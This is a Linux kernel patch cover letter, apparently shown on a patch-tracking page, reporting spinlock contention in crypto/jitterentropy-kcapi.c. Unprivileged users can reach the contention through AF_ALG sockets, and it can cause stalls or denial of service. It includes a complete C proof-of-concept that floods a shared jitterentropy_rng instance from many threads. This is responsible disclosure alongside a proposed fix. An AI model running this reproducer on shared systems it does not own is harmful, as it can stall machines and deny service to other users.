Skip to content

crypto: jitterentropy - fix long-held spinlock contention

Haixin Xu linux-crypto lkml 1 version In review

Get series with b4
b4 am [email protected]

Versions newest first

  1. v1 Latest1 patch 4 repliesIn review

Patches in v1 No applies recorded yet

#Subject and filesSizeRepliesApplied
1/1crypto: jitterentropy - replace long-held spinlock with mutexcrypto/jitterentropy-kcapi.c+7 -74 replies

Reviews trailers per patch

The patch has a Reviewed-by or Acked-by.

PatchStephan Mueller
1/1R-b

Trailers given in replies are filled; those carried in the patches from earlier versions are outlined with dashes.

Read the v1 thread

Cover letter [PATCH 0/1] crypto: jitterentropy - fix long-held spinlock contention

Hi Stephan and Herbert,

We have identified a bug in crypto/jitterentropy-kcapi.c, introduced by commit bb5530e40824 and is present from v4.2-rc1 through v7.0-rc5.

The bug can be reached by the AF_ALG socket and may trigger watchdog-visible stalls or denial of service on sufficiently contended systems.

We propose a patch in the follow-up of this thread to mitigate this issue by using a mutex instead.

---- details below ----

Bug details:

Multiple accepted child sockets from one AF_ALG parent share a single jitterentropy_rng instance. jent_kcapi_random() serializes the state of that generator and runs entropy collection, currently with a spinlock. When multiple threads contend for the lock protecting that shared generator, all child sockets serialize on one shared generator instance, so additional readers accumulate lock contention on the same critical section. This can lead to decreased throughput, noticeable lag on interactive systems and potentially trigger watchdog-visible stalls or denial of service when the number of threads used approaches the number of logical CPUs available. The bug is potentially reachable by non-privileged users as AF_ALG is enabled and available to non-privileged users by default on some distributions, including Debian and Arch.

Required kernel config:

CONFIG_CRYPTO_JITTERENTROPY=y
CONFIG_CRYPTO_USER_API=y
CONFIG_CRYPTO_USER_API_RNG=y

Reproducer:
gcc -pthread poc.c -o poc
./poc <thread_count>

Note: tested on a Intel 13900H, noticeable lag appears when more than 12 of the 20 logical CPUs are utilized.

---8<--- BEGIN poc.c ---8<---
#define _GNU_SOURCE

#include <errno.h>
#include <linux/if_alg.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>

struct worker_args {
	int fd;
};

static void die(const char *what)

{
	perror(what);
	exit(EXIT_FAILURE);
}

static long long nsec_delta(const struct timespec *start, const struct timespec *end)

{
	return (end->tv_sec - start->tv_sec) * 1000000000LL +
	(end->tv_nsec - start->tv_nsec);
}

static int bind_parent_socket(void)

{
	struct sockaddr_alg sa = {
		.salg_family = AF_ALG,
	};
	int fd;

	strcpy((char *)sa.salg_type, "rng");
	strcpy((char *)sa.salg_name, "jitterentropy_rng");

	fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
	if (fd < 0)
		die("socket(AF_ALG/rng)");

	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) != 0)
		die("bind(AF_ALG/rng/jitterentropy_rng)");

	return fd;
}

static void *worker_main(void *opaque)

{
	struct worker_args *args = opaque;
	unsigned char buf[128];
	unsigned long i = 0;
	long long max_ns = 0;

	for (;;) {
		struct timespec start;
		struct timespec end;
		long long took_ns;
		ssize_t ret;

		if (clock_gettime(CLOCK_MONOTONIC, &start) != 0)
			die("clock_gettime(start)");

		ret = read(args->fd, buf, sizeof(buf));

		if (clock_gettime(CLOCK_MONOTONIC, &end) != 0)
			die("clock_gettime(end)");

		if (ret < 0)
			die("read(AF_ALG)");

		took_ns = nsec_delta(&start, &end);
		if (took_ns > max_ns)
			max_ns = took_ns;

		i++;
		if ((i % 10) == 0) {
			printf("iter=%lu took_ms=%.3f max_ms=%.3f\n",
			       i, took_ns / 1000000.0, max_ns / 1000000.0);
			fflush(stdout);
		}
	}

	return NULL;
}

int main(int argc, char **argv)

{
	pthread_t *threads;
	struct worker_args *args;
	int parent_fd;
	int thread_count = argc > 1 ? atoi(argv[1]) : 2;
	int i;

	parent_fd = bind_parent_socket();
	if (parent_fd < 0)
		return EXIT_FAILURE;

	threads = calloc(thread_count, sizeof(*threads));
	args = calloc(thread_count, sizeof(*args));
	if (!threads || !args)
		die("calloc");

	for (i = 0; i < thread_count; i++) {
		args[i].fd = accept(parent_fd, NULL, 0);
		if (args[i].fd < 0)
			die("accept");

		if (pthread_create(&threads[i], NULL, worker_main, &args[i]) != 0)
			die("pthread_create");
	}

	for (i = 0; i < thread_count; i++)
		pthread_join(threads[i], NULL);

	return EXIT_SUCCESS;
}

---8<--- END poc.c ---8<---

Best regards
Haixin Xu

Haixin Xu (1):
crypto: jitterentropy - replace long-held spinlock with mutex

 crypto/jitterentropy-kcapi.c | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

base-commit: 62397b493e14107ae82d8b80938f293d95425bcb

Signature · 1 line
2.53.0